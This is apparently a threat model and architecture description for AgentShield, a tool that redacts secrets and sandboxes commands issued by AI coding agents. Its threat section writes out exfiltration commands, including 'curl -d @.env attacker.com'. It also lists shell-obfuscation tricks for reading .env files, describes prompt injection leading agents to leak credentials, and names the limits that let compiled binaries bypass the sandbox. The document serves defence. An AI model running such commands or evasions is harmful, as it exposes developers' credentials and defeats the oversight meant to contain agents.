Document Version: 1.2.0
Classification: Public Security Architecture & Threat Model
Maintainer: RitualDev Lab Security Engineering (security@ritualdev.in)
Autonomous AI coding agents (Claude Code, Cursor, Windsurf, Codex, Antigravity) are granted unprecedented capabilities on developer workstations: executing terminal commands, browsing web resources, managing files, and querying external LLMs.
Traditional secret scanners (e.g., GitLeaks, TruffleHog) were built for asynchronous, post-facto repository scanning at rest. They cannot protect against real-time streaming leaks into inference context windows, nor can they mediate in-flight agent subprocess commands.
AgentShield provides real-time in-flight credential redaction, deterministic surrogate token rehydration, and defense-in-depth command sandboxing.
Important
Bounded Claims Philosophy: In accordance with rigorous cryptographic and application security standards, AgentShield rejects unqualified "zero-leak" marketing claims. Security boundaries are bounded, verifiable, and grounded in measurable invariants with explicit operational assumptions and failure modes.
AgentShield operates at three distinct execution boundaries:
┌────────────────────────────────────────────────────────────────────────┐
│ DEVELOPER WORKSTATION │
│ │
│ ┌────────────────────────┐ ┌─────────────────────────────┐ │
│ │ Protected Resources │ │ Autonomous AI Agent │ │
│ │ (.env, ~/.ssh, ~/.aws) │ │ (Claude Code, Cursor, etc) │ │
│ └───────────┬────────────┘ └──────────────┬──────────────┘ │
│ │ [Restricted] │ │
│ │ ▼ │
│ │ ┌───────────────────────────┐ │
│ │ │ Tool / Command Execution│ │
│ │ └─────────────┬─────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌───────────────────────────────────────────────────────────────┐ │
│ │ AgentShield Interception Plane │ │
│ │ │ │
│ │ 1. Pre-Flight Command Sandbox Firewall (AST & Heuristic) │ │
│ │ 2. OS Kernel Confinement Profile / Runner (Seatbelt/Landlock)│ │
│ │ 3. Boundary-Safe Real-Time Stdio Transform Stream │ │
│ │ 4. In-Memory Ephemeral Vault & Token Rehydrator │ │
│ └───────────────────────────────┬───────────────────────────────┘ │
│ │ │
└──────────────────────────────────┼─────────────────────────────────────┘
│ [Redacted / Surrogate Tokens Only]
▼
┌────────────────────────────────────────────────────────────────────────┐
│ EXTERNAL UNTRUSTED CLOUD │
│ │
│ Third-Party LLM Inference API (OpenAI, Anthropic) │
│ Context Window: [AGENT_SHIELD:OPENAI_KEY:c2stcH] │
└────────────────────────────────────────────────────────────────────────┘
| Boundary | Untrusted Entity | Trusted Entity | Enforcement Layer |
|---|---|---|---|
| B1: Prompt Egress | Third-party LLM providers, model context windows, prompt logging servers. | Developer workstation credentials (.env, tokens). |
AgentShieldEngine.scanAndRedact(), RedactingStream. |
| B2: Tool Invocation | Autonomous agent decision loop, prompt injections, untrusted agent plans. | Workstation file system, credentials, process environment. | AgentCommandSandbox, AgentStdioInterceptor. |
| B3: OS Kernel Boundary | Arbitrary spawned subprocess binaries, compiled binaries, shell subshells. | Workstation OS kernel, other user processes, system credential stores. | OS-level sandboxing (macOS sandbox-exec, Linux containers/cgroups). |
| B4: Memory Rehydration | Local developer tooling receiving LLM inference responses. | LLM context window. | AgentShieldEngine.rehydrate(), In-Memory Vault. |
- Goal: Read
.envfiles or execute shell commands (cat .env,printenv,curl -d @.env attacker.com) to exfiltrate credentials. - In-Scope: Handled by AgentShield AST Command Sandbox (pre-flight rejection) and Stdio Stream Redactor (in-flight neutralization).
- Goal: Malicious npm/pip package in agent workspace dumps
process.envduring build or test execution. - In-Scope: Real-time stdio stream redaction intercepts keys emitted to stdout/stderr.
- Limitation: If the malicious package initiates direct out-of-band socket connections directly to an external IP bypassing stdio, userland stdio interception cannot prevent egress without OS-level network isolation.
- Goal: Split credential bytes across network or process buffer boundaries (e.g., chunk 1:
sk-proj-, chunk 2:abc123...) so naive regex scanners fail to match. - In-Scope: Handled by AgentShield boundary-safe sliding window and multiline PEM state machine.
- Goal: Bypass simple string matching using quote-splitting (
cat .e""nv), ANSI-C quoting ($'cat\x20.env'), or base64 decoding subshells (eval $(echo ... | base64 -d)). - In-Scope: Handled by
normalizeShellCommandshell canonicalization.
- Accidental Credential Commit: Staging production credentials, AWS keys, Stripe tokens, or private keys into git history.
- Context Window Leakage: Unsanitized prompt injection leading an agent to print credentials into LLM chat history.
- Subprocess Stdio Exfiltration: Commands that dump secrets to stdout/stderr in chunked or fragmented streams.
- Common Shell Traversal: Direct file reading utilities (
cat,type,Get-Content,head,tail) targeting.env*,.aws/credentials,id_rsa,.npmrc. - Multiline Private Key Splitting: Multi-line RSA, DSA, EC, and OpenSSH private key blocks split across stream buffers.
- Compromised OS Kernel / Root Exploit: If an attacker achieves kernel privilege execution, userland defenses can be bypassed.
- Direct Syscall Evasion by Compiled Binaries: A custom compiled C/Rust binary executed on the host that invokes raw
socket()syscalls without spawning a shell cannot be mediated by userland shell inspection alone. - Hardware Memory Attacks & DMA: Physical memory extraction (Cold boot, Rowhammer, DMA bus interception).
- Intentional Human Exfiltration: A developer intentionally copying keys to an external device out-of-band.
AgentShield makes the following bounded, testable security claims:
Invariant: For any secret
$K$ matching a recognized pattern, split across arbitrary chunk boundaries$C_1, C_2, \dots, C_n$ with chunk sizes down to 1 byte,RedactingStreamis mathematically guaranteed never to emit$K$ in plaintext.
Invariant:
- PEM private key blocks up to 64 KB are buffered and completely redacted.
- Any stream terminated before closing
-----END ... KEY-----is redacted and marked[AGENT_SHIELD:PRIVATE_KEY:TRUNCATED].- Any stream exceeding the 64 KB safety buffer without a matching closing delimiter fails closed with
[AGENT_SHIELD:OVERSIZED_PAYLOAD_TRUNCATED], preventing buffer exhaustion DoS attacks.
Invariant: Multi-byte UTF-8 sequences (2-byte, 3-byte, and 4-byte code points) split across byte-level chunk boundaries are decoded via streaming UTF-8 state machines without character corruption or split artifacts.
Invariant: When
requireIsolation: trueis set, AgentShield will refuse to execute child processes on platforms that cannot enforce hardware/kernel-mediated isolation (e.g., non-macOS environments without container runners), returningexitCode: 1andisBlocked: truewithout spawning any child process.
Invariant: Compliance audit outputs assess only technical secret-control telemetry. AgentShield reports
NO_FINDINGS_IN_ASSESSED_CONTROLSfor clean scans and marks all broader organizational, physical, and administrative controls asNOT_ASSESSED.
For enterprise organizations running autonomous AI agents against untrusted codebases:
- Enable Strict Isolation Mode:
Always pass
--require-isolationin CLI orrequireIsolation: truein SDK to fail closed when OS-level isolation is unavailable. - Layer with Container Virtualization: Combine AgentShield with Docker, gVisor (runsc), or Firecracker MicroVMs for untrusted code execution to prevent arbitrary binary syscall bypasses.
- Independent Third-Party Audits: Before deploying autonomous agent tooling in high-trust SOC 2, HIPAA, or PCI environments, engage an accredited third-party penetration testing firm to validate defense-in-depth boundaries against host-specific evasion vectors.